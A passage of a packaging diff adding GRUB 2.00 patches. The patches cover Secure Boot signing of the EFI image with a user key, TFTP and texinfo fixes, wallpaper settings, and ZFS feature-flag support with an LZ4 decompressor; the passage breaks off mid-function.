++
+     # Try to make this image bootable using the EFI Boot Manager, if available.
+     efibootmgr="`which efibootmgr`"
+     if test "$removable" = no && test -n "$efi_distributor" && \
diff --git a/sys-boot/grub/files/grub-2.00-secureboot-user-sign.patch b/sys-boot/grub/files/grub-2.00-secureboot-user-sign.patch
new file mode 100644
index 00000000..6c02cbd4
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-secureboot-user-sign.patch
@@ -0,0 +1,42 @@
+--- a/util/grub-install.in
++++ b/util/grub-install.in
+@@ -821,12 +821,39 @@ elif [ x"${grub_modinfo_target_cpu}-${gr
+     gettext "You will have to set \`SystemPartition' and \`OSLoader' manually." 1>&2
+     echo 1>&2
+ elif [ x"$grub_modinfo_platform" = xefi ]; then
++
++    # sign the efi file with the User SecureBoot key
++    _sign_grub_efi() {
++	local _image="${1}"
++	case "$host_os" in
++	    linux*)
++		modprobe -q efivars 2>/dev/null || true ;;
++	esac
++
++	local _private="/boot/SecureBoot/user-private.key"
++	local _public="/boot/SecureBoot/user-public.crt"
++	if test -f "${_private}" && test -f "${_public}"; then
++            echo "SecureBoot signing ${_image}"
++            sbsign --key "${_private}" --cert "${_public}" \
++                --output "${_image}.signed" \
++                "${_image}" && \
++                mv "${_image}.signed" "${_image}"
++	else
++	    echo "Cannot sign ${_image} for SecureBoot" 1>&2
++	    echo "RogentOS keypair at $(basename ${_private}) not found" 1>&2
++	fi
++    }
++
+     cp "${grubdir}/${grub_modinfo_target_cpu}-$grub_modinfo_platform/core.${imgext}" "${efidir}/${efi_file}"
++    _efi_grub_file="${efidir}/${efi_file}"
+     # For old macs. Suggested by Peter Jones.
+     if [ x$grub_modinfo_target_cpu = xi386 ]; then
+ 	cp "${grubdir}/${grub_modinfo_target_cpu}-$grub_modinfo_platform/core.${imgext}" "${efidir}/boot.efi"
++	_efi_grub_file="${efidir}/boot.efi"
+     fi
+ 
++    _sign_grub_efi "${_efi_grub_file}"
++
+     # Try to make this image bootable using the EFI Boot Manager, if available.
+     efibootmgr="`which efibootmgr`"
+     if test "$removable" = no && test -n "$efi_distributor" && \
diff --git a/sys-boot/grub/files/grub-2.00-texinfo.patch b/sys-boot/grub/files/grub-2.00-texinfo.patch
new file mode 100644
index 00000000..803f3cbc
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-texinfo.patch
@@ -0,0 +1,16 @@
+Fix for texinfo-5.1
+
+=== modified file 'docs/grub-dev.texi'
+--- docs/grub-dev.texi	2012-05-22 07:15:28 +0000
++++ docs/grub-dev.texi	2013-04-08 13:23:07 +0000
+@@ -1394,8 +1394,8 @@
+ 
+ @node Bitmap API
+ @section Bitmap API
+-@itemize
+ @subsection grub_video_bitmap_create
++@itemize
+ @item Prototype:
+ @example
+ grub_err_t grub_video_bitmap_create (struct grub_video_bitmap **bitmap, unsigned int width, unsigned int height, enum grub_video_blit_format blit_format)
+
diff --git a/sys-boot/grub/files/grub-2.00-tftp-endian.patch b/sys-boot/grub/files/grub-2.00-tftp-endian.patch
new file mode 100644
index 00000000..f4e56445
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-tftp-endian.patch
@@ -0,0 +1,24 @@
+https://bugs.gentoo.org/show_bug.cgi?id=438612
+
+=== modified file 'grub-core/net/tftp.c'
+--- grub-core/net/tftp.c	2012-06-22 20:04:16 +0000
++++ grub-core/net/tftp.c	2012-07-02 09:22:50 +0000
+@@ -143,7 +143,7 @@
+ 
+   tftph_ack = (struct tftphdr *) nb_ack.data;
+   tftph_ack->opcode = grub_cpu_to_be16 (TFTP_ACK);
+-  tftph_ack->u.ack.block = block;
++  tftph_ack->u.ack.block = grub_cpu_to_be16 (block);
+ 
+   err = grub_net_send_udp_packet (data->sock, &nb_ack);
+   if (err)
+@@ -225,7 +225,7 @@
+ 	    grub_priority_queue_pop (data->pq);
+ 
+ 	    if (file->device->net->packs.count < 50)
+-	      err = ack (data, tftph->u.data.block);
++	      err = ack (data, data->block + 1);
+ 	    else
+ 	      {
+ 		file->device->net->stall = 1;
+
diff --git a/sys-boot/grub/files/grub-2.00-vga-deprecated-not-yet.patch b/sys-boot/grub/files/grub-2.00-vga-deprecated-not-yet.patch
new file mode 100644
index 00000000..3859bb2e
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-vga-deprecated-not-yet.patch
@@ -0,0 +1,13 @@
+--- grub-2.00.orig/grub-core/loader/i386/linux.c
++++ grub-2.00/grub-core/loader/i386/linux.c
+@@ -946,10 +946,6 @@ grub_cmd_linux (grub_command_t cmd __att
+ 	    if (! buf)
+ 	      goto fail;
+ 
+-	    grub_printf_ (N_("%s is deprecated. "
+-			     "Use set gfxpayload=%s before "
+-			     "linux command instead.\n"),
+-			 argv[i], buf);
+ 	    err = grub_env_set ("gfxpayload", buf);
+ 	    grub_free (buf);
+ 	    if (err)
diff --git a/sys-boot/grub/files/grub-2.00-wallpaper-settings-support.patch b/sys-boot/grub/files/grub-2.00-wallpaper-settings-support.patch
new file mode 100644
index 00000000..828eef72
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-wallpaper-settings-support.patch
@@ -0,0 +1,14 @@
+--- grub-2.00.orig/util/grub-mkconfig.in
++++ grub-2.00/util/grub-mkconfig.in
+@@ -216,7 +216,10 @@ export GRUB_DEFAULT \
+   GRUB_INIT_TUNE \
+   GRUB_SAVEDEFAULT \
+   GRUB_ENABLE_CRYPTODISK \
+-  GRUB_BADRAM
++  GRUB_BADRAM \
++  GRUB_WALLPAPER \
++  GRUB_COLOR_NORMAL \
++  GRUB_COLOR_HIGHLIGHT
+ 
+ if test "x${grub_cfg}" != "x"; then
+   rm -f "${grub_cfg}.new"
diff --git a/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support-r1.patch b/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support-r1.patch
new file mode 100644
index 00000000..b7d780f2
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-zfs-feature-flag-support-r1.patch
@@ -0,0 +1,893 @@
+ZFS Feature Flag Support
+
+This is a monolithic version of the following commits:
+
+https://github.com/maxximino/grub2/commit/31a32560fd7948ae5ff5c63105d7c068de7890c8
+https://github.com/maxximino/grub2/commit/595d76e8ca0690a963f5533689de8db54ef07e75
+https://github.com/maxximino/grub2/commit/58344034e40218b20500fa2936eb4d7d019e1e88
+https://github.com/maxximino/grub2/commit/f98cb078abab2c14bb0766b5a0ceb055683dab81
+https://github.com/maxximino/grub2/commit/f12806f43a969a654dee7bb89b2e8fd5c42f0e2e
+
+A change was made to account for d8a0feb6 from upstream. This change prevents a
+compile time failure that is caused by a change in the callback interface used
+by mzap_interate(). Modifications to nvlist_find_value() were reverted to
+resolve Gentoo bug #462740. This eliminated the need for the new nvpair_type()
+and nvpair_value() functions. They have been removed to silence a compiler
+warning and reduce the size of the patch. Further adjustments were made to
+silence the following warnings:
+
+/var/tmp/portage/sys-boot/grub-2.00-r2/work/grub-2.00/grub-core/fs/zfs/zfs_lz4.c:77:5:
+warning: "__STDC_VERSION__" is not defined [-Wundef]
+/var/tmp/portage/sys-boot/grub-2.00-r2/work/grub-2.00/grub-core/fs/zfs/zfs.c:4079:3:
+warning: passing argument 4 of 'mzap_iterate' from incompatible pointer type
+[enabled by default]
+
+The initial feature flag support patches were written by Delphix while the LZ4
+support was written by Saso Kiselkov. The work porting this to GRUB2 was done
+by Massimo Maggi, while the adaption to Gentoo's GRUB2 package was done by
+Richard Yao.
+
+diff --git a/Makefile.util.def b/Makefile.util.def
+index b80187c..1bf3038 100644
+--- a/Makefile.util.def
++++ b/Makefile.util.def
+@@ -95,6 +95,7 @@ library = {
+   common = grub-core/fs/zfs/zfs.c;
+   common = grub-core/fs/zfs/zfsinfo.c;
+   common = grub-core/fs/zfs/zfs_lzjb.c;
++  common = grub-core/fs/zfs/zfs_lz4.c;
+   common = grub-core/fs/zfs/zfs_sha256.c;
+   common = grub-core/fs/zfs/zfs_fletcher.c;
+   common = grub-core/lib/envblk.c;
+diff --git a/grub-core/Makefile.core.def b/grub-core/Makefile.core.def
+index 39e77a4..1550b90 100644
+--- a/grub-core/Makefile.core.def
++++ b/grub-core/Makefile.core.def
+@@ -1186,6 +1186,7 @@ module = {
+   name = zfs;
+   common = fs/zfs/zfs.c;
+   common = fs/zfs/zfs_lzjb.c;
++  common = fs/zfs/zfs_lz4.c;
+   common = fs/zfs/zfs_sha256.c;
+   common = fs/zfs/zfs_fletcher.c;
+ };
+diff --git a/grub-core/fs/zfs/zfs.c b/grub-core/fs/zfs/zfs.c
+index ba0554a..811e3df 100644
+--- a/grub-core/fs/zfs/zfs.c
++++ b/grub-core/fs/zfs/zfs.c
+@@ -2,6 +2,7 @@
+  *  GRUB  --  GRand Unified Bootloader
+  *  Copyright (C) 1999,2000,2001,2002,2003,2004,2009,2010,2011  Free Software Foundation, Inc.
+  *  Copyright 2010  Sun Microsystems, Inc.
++ *  Copyright (c) 2012 by Delphix. All rights reserved.
+  *
+  *  GRUB is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+@@ -153,11 +154,13 @@ ZAP_LEAF_ENTRY(zap_leaf_phys_t *l, int bs, int idx)
+ 
+ 
+ /*
+- * Decompression Entry - lzjb
++ * Decompression Entry - lzjb & lz4
+  */
+ 
+ extern grub_err_t lzjb_decompress (void *, void *, grub_size_t, grub_size_t);
+ 
++extern grub_err_t lz4_decompress (void *, void *, grub_size_t, grub_size_t);
++
+ typedef grub_err_t zfs_decomp_func_t (void *s_start, void *d_start,
+ 				      grub_size_t s_len, grub_size_t d_len);
+ typedef struct decomp_entry
+@@ -263,6 +266,19 @@ grub_crypto_cipher_handle_t (*grub_zfs_load_key) (const struct grub_zfs_key *key
+ 						  grub_size_t keysize,
+ 						  grub_uint64_t salt,
+ 						  grub_uint64_t algo) = NULL;
++/*
++ * List of pool features that the grub implementation of ZFS supports for
++ * read. Note that features that are only required for write do not need
++ * to be listed here since grub opens pools in read-only mode.
++ */
++static const char *spa_feature_names[] = {
++	"org.illumos:lz4_compress",NULL
++};
++
++static int NESTED_FUNC_ATTR
++check_feature(const char *name, grub_uint64_t val);
++static int
++check_mos_features(dnode_phys_t *mosmdn_phys,grub_zfs_endian_t endian,struct grub_zfs_data* data );
+ 
+ static grub_err_t 
+ zlib_decompress (void *s, void *d,
+@@ -322,6 +338,7 @@ static decomp_entry_t decomp_table[ZIO_COMPRESS_FUNCTIONS] = {
+   {"gzip-8", zlib_decompress},  /* ZIO_COMPRESS_GZIP8 */
+   {"gzip-9", zlib_decompress},  /* ZIO_COMPRESS_GZIP9 */
+   {"zle", zle_decompress},      /* ZIO_COMPRESS_ZLE   */
++  {"lz4", lz4_decompress},      /* ZIO_COMPRESS_LZ4   */
+ };
+ 
+ static grub_err_t zio_read_data (blkptr_t * bp, grub_zfs_endian_t endian,
+@@ -482,15 +499,11 @@ uberblock_verify (uberblock_phys_t * ub, grub_uint64_t offset,
+ 
+   if (grub_zfs_to_cpu64 (uber->ub_magic, GRUB_ZFS_LITTLE_ENDIAN)
+       == UBERBLOCK_MAGIC
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN) > 0 
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN)
+-      <= SPA_VERSION)
+-    endian = GRUB_ZFS_LITTLE_ENDIAN;
++      && SPA_VERSION_IS_SUPPORTED(grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_LITTLE_ENDIAN)))
++     endian = GRUB_ZFS_LITTLE_ENDIAN;
+ 
+   if (grub_zfs_to_cpu64 (uber->ub_magic, GRUB_ZFS_BIG_ENDIAN) == UBERBLOCK_MAGIC
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN) > 0 
+-      && grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN)
+-      <= SPA_VERSION)
++      && SPA_VERSION_IS_SUPPORTED(grub_zfs_to_cpu64 (uber->ub_version, GRUB_ZFS_BIG_ENDIAN)))
+     endian = GRUB_ZFS_BIG_ENDIAN;
+ 
+   if (endian == GRUB_ZFS_UNKNOWN_ENDIAN)
+@@ -764,6 +777,99 @@ fill_vdev_info (struct grub_zfs_data *data,
+ }
+ 
+ /*
++ * For a given XDR packed nvlist, verify the first 4 bytes and move on.
++ *
++ * An XDR packed nvlist is encoded as (comments from nvs_xdr_create) :
++ *
++ *      encoding method/host endian     (4 bytes)
++ *      nvl_version                     (4 bytes)
++ *      nvl_nvflag                      (4 bytes)
++ *	encoded nvpairs:
++ *		encoded size of the nvpair      (4 bytes)
++ *		decoded size of the nvpair      (4 bytes)
++ *		name string size                (4 bytes)
++ *		name string data                (sizeof(NV_ALIGN4(string))
++ *		data type                       (4 bytes)
++ *		# of elements in the nvpair     (4 bytes)
++ *		data
++ *      2 zero's for the last nvpair
++ *		(end of the entire list)	(8 bytes)
++ *
++ */
++
++/*
++ * The nvlist_next_nvpair() function returns a handle to the next nvpair in the
++ * list following nvpair. If nvpair is NULL, the first pair is returned. If
++ * nvpair is the last pair in the nvlist, NULL is returned.
++ */
++static const char *
++nvlist_next_nvpair(const char *nvl, const char *nvpair)
++{
++	const char *nvp;
++	int encode_size;
++	int name_len;
++	if (nvl == NULL)
++		return (NULL);
++
++	if (nvpair == NULL) {
++		/* skip over header, nvl_version and nvl_nvflag */
++		nvpair = nvl + 4 * 3;
++	} else {
++		/* skip to the next nvpair */
++		encode_size = grub_be_to_cpu32 (grub_get_unaligned32(nvpair));
++		nvpair += encode_size;
++	}
++	/* 8 bytes of 0 marks the end of the list */
++	if (*(grub_uint64_t*)nvpair == 0)
++		return (NULL);
++	/*consistency checks*/
++	if (nvpair + 4 * 3 >= nvl + VDEV_PHYS_SIZE)
++	{
++	  grub_dprintf ("zfs", "nvlist overflow\n");
++	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
++	  return (NULL);
++	}
++	encode_size = grub_be_to_cpu32 (grub_get_unaligned32(nvpair));
++
++	nvp = nvpair + 4*2;
++	name_len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp += 4;
++
++	nvp = nvp + ((name_len + 3) & ~3); // align 
++	if (nvp + 4 >= nvl + VDEV_PHYS_SIZE                        
++	    || encode_size < 0
++	    || nvp + 4 + encode_size > nvl + VDEV_PHYS_SIZE)       
++	{
++	  grub_dprintf ("zfs", "nvlist overflow\n");
++	  grub_error (GRUB_ERR_BAD_FS, "incorrect nvlist");
++	  return (NULL);
++	}
++	 /* end consistency checks */
++
++	return (nvpair);
++}
++/*
++ * This function returns 0 on success and 1 on failure. On success, a string
++ * containing the name of nvpair is saved in buf.
++ */
++static int
++nvpair_name(const char *nvp, char **buf, int* buflen)
++{
++	int len;
++
++	/* skip over encode/decode size */
++	nvp += 4 * 2;
++
++	len = grub_be_to_cpu32 (grub_get_unaligned32 (nvp));
++	nvp=nvp+4;
++	
++	*buf=(char*)nvp;
++	*buflen=len;
++
++	return (0);
++}
++
++/*
+  * Check the disk label information and retrieve needed vdev name-value pairs.
+  *
+  */
+@@ -773,7 +879,7 @@ check_pool_label (struct grub_zfs_data *data,
+ 		  int *inserted)
+ {
+   grub_uint64_t pool_state, txg = 0;
+-  char *nvlist;
++  char *nvlist,*features;
+ #if 0
+   char *nv;
+ #endif
+@@ -837,13 +943,13 @@ check_pool_label (struct grub_zfs_data *data,
+     }
+   grub_dprintf ("zfs", "check 8 passed\n");
+ 
+-  if (version > SPA_VERSION)
++  if (!SPA_VERSION_IS_SUPPORTED(version))
+     {
+       grub_free (nvlist);
+       return grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
+ 			 "too new version %llu > %llu",
+ 			 (unsigned long long) version,
+-			 (unsigned long long) SPA_VERSION);
++			 (unsigned long long) SPA_VERSION_BEFORE_FEATURES);
+     }
+   grub_dprintf ("zfs", "check 9 passed\n");
+ 
+@@ -893,7 +999,30 @@ check_pool_label (struct grub_zfs_data *data,
+     grub_free (nv);
+   }
+   grub_dprintf ("zfs", "check 10 passed\n");
+-
++  if ((features=grub_zfs_nvlist_lookup_nvlist(nvlist, ZPOOL_CONFIG_FEATURES_FOR_READ)))
++  {
++    const char *nvp=NULL;
++    char *name = grub_zalloc(51);
++    char *nameptr;
++    int namelen;
++    while ((nvp = nvlist_next_nvpair(features, nvp)) != NULL)
++    {
++      nvpair_name(nvp, &nameptr,&namelen);
++      if(namelen > 50){namelen=50;}
++      grub_strncpy(name,nameptr,namelen);
++      name[namelen]=0;
++      grub_dprintf("zfs","namelen=%u str=%s\n",namelen,name);
++      if (check_feature(name,1) != 0)
++      {
++	grub_dprintf("zfs","feature missing in check_pool_label:%s\n",name);
++	err= grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET," check_pool_label missing feature '%s' for read",name);
++	grub_free(name);
++	return err;
++      }
++    }
++    grub_free(name);
++  }
++  grub_dprintf ("zfs", "check 12 passed (feature flags)\n");
+   grub_free (nvlist);
+ 
+   return GRUB_ERR_NONE;
+@@ -3034,27 +3163,6 @@ dnode_get_fullpath (const char *fullpath, struct subvolume *subvol,
+   return err;
+ }
+ 
+-/*
+- * For a given XDR packed nvlist, verify the first 4 bytes and move on.
+- *
+- * An XDR packed nvlist is encoded as (comments from nvs_xdr_create) :
+- *
+- *      encoding method/host endian     (4 bytes)
+- *      nvl_version                     (4 bytes)
+- *      nvl_nvflag                      (4 bytes)
+- *	encoded nvpairs:
+- *		encoded size of the nvpair      (4 bytes)
+- *		decoded size of the nvpair      (4 bytes)
+- *		name string size                (4 bytes)
+- *		name string data                (sizeof(NV_ALIGN4(string))
+- *		data type                       (4 bytes)
+- *		# of elements in the nvpair     (4 bytes)
+- *		data
+- *      2 zero's for the last nvpair
+- *		(end of the entire list)	(8 bytes)
+- *
+- */
+-
+ static int
+ nvlist_find_value (const char *nvlist_in, const char *name,
+ 		   int valtype, char **val,
+@@ -3386,6 +3494,10 @@ zfs_mount (grub_device_t dev)
+       return NULL;
+     }
+ 
++    if (ub->ub_version >= SPA_VERSION_FEATURES &&
++	check_mos_features(&((objset_phys_t *) osp)->os_meta_dnode,ub_endian, data) != 0)
++	  return NULL;
++	
+   /* Got the MOS. Save it at the memory addr MOS. */
+   grub_memmove (&(data->mos.dn), &((objset_phys_t *) osp)->os_meta_dnode,
+ 		DNODE_SIZE);
+@@ -3910,6 +4022,64 @@ grub_zfs_dir (grub_device_t device, const char *path,
+   return grub_errno;
+ }
+ 
++static int NESTED_FUNC_ATTR
++check_feature(const char *name, grub_uint64_t val)
++{
++  int i;
++  if(val ==0) return 0;
++  if(*name==0) return 0;
++  for (i = 0; spa_feature_names[i] != NULL; i++) 
++  {
++    if (grub_strcmp(name, spa_feature_names[i]) == 0) 
++        return 0;
++  }
++  grub_printf("missing feature for read '%s'\n",name);
++  return 1;
++}
++
++/*
++ * Checks whether the MOS features that are active are supported by this
++ * (GRUB's) implementation of ZFS.
++ *
++ * Return:
++ *	0: Success.
++ *	errnum: Failure.
++ */
++	    	   
++static int
++check_mos_features(dnode_phys_t *mosmdn_phys,grub_zfs_endian_t endian,struct grub_zfs_data* data )
++{
++  grub_uint64_t objnum;
++  grub_uint8_t errnum = 0;
++  dnode_end_t dn,mosmdn;
++  mzap_phys_t* mzp;
++  grub_zfs_endian_t endianzap;
++  int size;
++  grub_memmove(&(mosmdn.dn),mosmdn_phys,sizeof(dnode_phys_t));
++  mosmdn.endian=endian;
++  if ((errnum = dnode_get(&mosmdn, DMU_POOL_DIRECTORY_OBJECT,
++	  DMU_OT_OBJECT_DIRECTORY, &dn,data)) != 0)
++      return (errnum);
++
++  /*
++   * Find the object number for 'features_for_read' and retrieve its
++   * corresponding dnode. Note that we don't check features_for_write
++   * because GRUB is not opening the pool for write.
++   */
++  if ((errnum = zap_lookup(&dn, DMU_POOL_FEATURES_FOR_READ, &objnum, data,0)) != 0)
++      return (errnum);
++  
++  if ((errnum = dnode_get(&mosmdn, objnum, DMU_OTN_ZAP_METADATA, &dn, data)) != 0)
++      return (errnum);
++
++  if ((errnum = dmu_read(&dn, 0, (void**)&mzp, &endianzap,data)) != 0)
++      return (errnum);
++
++  size = grub_zfs_to_cpu16 (dn.dn.dn_datablkszsec, dn.endian) << SPA_MINBLOCKSHIFT;
++  return (mzap_iterate(mzp,endianzap, size, check_feature));
++}
++
++
+ #ifdef GRUB_UTIL
+ static grub_err_t
+ grub_zfs_embed (grub_device_t device __attribute__ ((unused)),
+diff --git a/grub-core/fs/zfs/zfs_lz4.c b/grub-core/fs/zfs/zfs_lz4.c
+new file mode 100644
+index 0000000..ff85a77
+--- /dev/null
++++ b/grub-core/fs/zfs/zfs_lz4.c
+@@ -0,0 +1,321 @@
++/*
++ * LZ4 - Fast LZ compression algorithm
++ * Header File
++ * Copyright (C) 2011-2013, Yann Collet.
++ * BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
++ *
++ * Redistribution and use in source and binary forms, with or without
++ * modification, are permitted provided that the following conditions are
++ * met:
++ *
++ *     * Redistributions of source code must retain the above copyright
++ * notice, this list of conditions and the following disclaimer.
++ *     * Redistributions in binary form must reproduce the above
++ * copyright notice, this list of conditions and the following disclaimer
++ * in the documentation and/or other materials provided with the
++ * distribution.
++ *
++ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
++ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
++ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
++ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
++ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
++ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
++ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
++ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
++ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
++ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
++ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
++ *
++ * You can contact the author at :
++ * - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html
++ * - LZ4 source repository : http://code.google.com/p/lz4/
++ */
++
++#include <grub/err.h>
++#include <grub/mm.h>
++#include <grub/misc.h>
++#include <grub/types.h>
++
++static int LZ4_uncompress_unknownOutputSize(const char *source, char *dest,
++					    int isize, int maxOutputSize);
++
++/*
++ * CPU Feature Detection
++ */
++
++/* 32 or 64 bits ? */
++#if (defined(__x86_64__) || defined(__x86_64) || defined(__amd64__) || \
++	defined(__amd64) || defined(__ppc64__) || defined(_WIN64) || \
++	defined(__LP64__) || defined(_LP64))
++#define	LZ4_ARCH64	1
++#else
++#define	LZ4_ARCH64	0
++#endif
++
++/*
++ * Little Endian or Big Endian?
++ * Note: overwrite the below #define if you know your architecture endianess.
++ */
++#if (defined(__BIG_ENDIAN__) || defined(__BIG_ENDIAN) || \
++	defined(_BIG_ENDIAN) || defined(_ARCH_PPC) || defined(__PPC__) || \
++	defined(__PPC) || defined(PPC) || defined(__powerpc__) || \
++	defined(__powerpc) || defined(powerpc) || \
++	((defined(__BYTE_ORDER__)&&(__BYTE_ORDER__ == __ORDER_BIG_ENDIAN__))))
++#define	LZ4_BIG_ENDIAN	1
++#else
++	/*
++	 * Little Endian assumed. PDP Endian and other very rare endian format
++	 * are unsupported.
++	 */
++#endif
++
++/*
++ * Compiler Options
++ */
++
++#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L	/* C99 */
++/* "restrict" is a known keyword */
++#else
++/* Disable restrict */
++#ifndef restrict
++#define	restrict /* Only if somebody already didn't take care of that.*/
++#endif
++#endif
++
++#define	GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
++
++#define	lz4_bswap16(x) ((unsigned short int) ((((x) >> 8) & 0xffu) \
++	| (((x) & 0xffu) << 8)))
++
++#if (GCC_VERSION >= 302) || (__INTEL_COMPILER >= 800) || defined(__clang__)
++#define	expect(expr, value)    (__builtin_expect((expr), (value)))
++#else
++#define	expect(expr, value)    (expr)
++#endif
++
++#define	likely(expr)	expect((expr) != 0, 1)
++#define	unlikely(expr)	expect((expr) != 0, 0)
++
++/* Basic types */
++#define	BYTE	grub_uint8_t
++#define	U16	grub_uint16_t
++#define	U32	grub_uint32_t
++#define	S32	grub_int32_t
++#define	U64	grub_uint64_t
++typedef grub_size_t size_t;
++
++typedef struct _U16_S {
++	U16 v;
++} U16_S;
++typedef struct _U32_S {
++	U32 v;
++} U32_S;
++typedef struct _U64_S {
++	U64 v;
++} U64_S;
++
++#define	A64(x)	(((U64_S *)(x))->v)
++#define	A32(x)	(((U32_S *)(x))->v)
++#define	A16(x)	(((U16_S *)(x))->v)
++
++/*
++ * Constants
++ */
++#define	MINMATCH 4
++
++#define	COPYLENGTH 8
++#define	LASTLITERALS 5
++
++#define	ML_BITS 4
++#define	ML_MASK ((1U<<ML_BITS)-1)
++#define	RUN_BITS (8-ML_BITS)
++#define	RUN_MASK ((1U<<RUN_BITS)-1)
++
++/*
++ * Architecture-specific macros
++ */
++#if LZ4_ARCH64
++#define	STEPSIZE 8
++#define	UARCH U64
++#define	AARCH A64
++#define	LZ4_COPYSTEP(s, d)	A64(d) = A64(s); d += 8; s += 8;
++#define	LZ4_COPYPACKET(s, d)	LZ4_COPYSTEP(s, d)
++#define	LZ4_SECURECOPY(s, d, e)	if (d < e) LZ4_WILDCOPY(s, d, e)
++#define	HTYPE U32
++#define	INITBASE(base)		const BYTE* const base = ip
++#else
++#define	STEPSIZE 4
++#define	UARCH U32
++#define	AARCH A32
++#define	LZ4_COPYSTEP(s, d)	A32(d) = A32(s); d += 4; s += 4;
++#define	LZ4_COPYPACKET(s, d)	LZ4_COPYSTEP(s, d); LZ4_COPYSTEP(s, d);
++#define	LZ4_SECURECOPY		LZ4_WILDCOPY
++#define	HTYPE const BYTE*
++#define	INITBASE(base)		const int base = 0
++#endif
++
++#if (defined(LZ4_BIG_ENDIAN) && !defined(BIG_ENDIAN_NATIVE_BUT_INCOMPATIBLE))
++#define	LZ4_READ_LITTLEENDIAN_16(d, s, p) \
++	{ U16 v = A16(p); v = lz4_bswap16(v); d = (s) - v; }
++#define	LZ4_WRITE_LITTLEENDIAN_16(p, i) \
++	{ U16 v = (U16)(i); v = lz4_bswap16(v); A16(p) = v; p += 2; }
++#else
++#define	LZ4_READ_LITTLEENDIAN_16(d, s, p) { d = (s) - A16(p); }
++#define	LZ4_WRITE_LITTLEENDIAN_16(p, v)  { A16(p) = v; p += 2; }
++#endif
++
++/* Macros */
++#define	LZ4_WILDCOPY(s, d, e) do { LZ4_COPYPACKET(s, d) } while (d < e);
++
++/* Decompression functions */
++grub_err_t
++lz4_decompress(void *s_start, void *d_start, size_t s_len, size_t d_len);
++
++grub_err_t
++lz4_decompress(void *s_start, void *d_start, size_t s_len, size_t d_len)
++{
++	const BYTE *src = s_start;
++	U32 bufsiz = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) |
++	    src[3];
++
++	/* invalid compressed buffer size encoded at start */
++	if (bufsiz + 4 > s_len)
++		return grub_error(GRUB_ERR_BAD_FS,"lz4 decompression failed.");
++
++	/*
++	 * Returns 0 on success (decompression function returned non-negative)
++	 * and appropriate error on failure (decompression function returned negative).
++	 */
++	return (LZ4_uncompress_unknownOutputSize((char*)s_start + 4, d_start, bufsiz,
++	    d_len) < 0)?grub_error(GRUB_ERR_BAD_FS,"lz4 decompression failed."):0;
++}
++
++static int
++LZ4_uncompress_unknownOutputSize(const char *source,
++    char *dest, int isize, int maxOutputSize)
++{
++	/* Local Variables */
++	const BYTE *restrict ip = (const BYTE *) source;
++	const BYTE *const iend = ip + isize;
++	const BYTE *restrict ref;
++
++	BYTE *restrict op = (BYTE *) dest;
++	BYTE *const oend = op + maxOutputSize;
++	BYTE *cpy;
++
++	size_t dec[] = { 0, 3, 2, 3, 0, 0, 0, 0 };
++
++	/* Main Loop */
++	while (ip < iend) {
++		BYTE token;
++		int length;
++
++		/* get runlength */
++		token = *ip++;
++		if ((length = (token >> ML_BITS)) == RUN_MASK) {
++			int s = 255;
++			while ((ip < iend) && (s == 255)) {
++				s = *ip++;
++				length += s;
++			}
++		}
++		/* copy literals */
++		cpy = op + length;
++		if ((cpy > oend - COPYLENGTH) ||
++		    (ip + length > iend - COPYLENGTH)) {
++			if (cpy > oend)
++				/*
++				 * Error: request to write beyond destination
++				 * buffer.
++				 */
++				goto _output_error;
++			if (ip + length > iend)
++				/*
++				 * Error : request to read beyond source
++				 * buffer.
++				 */
++				goto _output_error;
++			grub_memcpy(op, ip, length);
++			op += length;
++			ip += length;
++			if (ip < iend)
++				/* Error : LZ4 format violation */
++				goto _output_error;
++			/* Necessarily EOF, due to parsing restrictions. */
++			break;
++		}
++		LZ4_WILDCOPY(ip, op, cpy);
++		ip -= (op - cpy);
++		op = cpy;
++
++		/* get offset */
++		LZ4_READ_LITTLEENDIAN_16(ref, cpy, ip);
++		ip += 2;
++		if (ref < (BYTE * const) dest)
++			/*
++			 * Error: offset creates reference outside of
++			 * destination buffer.
++			 */
++			goto _output_error;
++
++		/* get matchlength */
++		if ((length = (token & ML_MASK)) == ML_MASK) {
++			while (ip < iend) {
++				int s = *ip++;
++				length += s;
++				if (s == 255)
++					continue;
++				break;
++			}
++		}
++		/* copy repeated sequence */
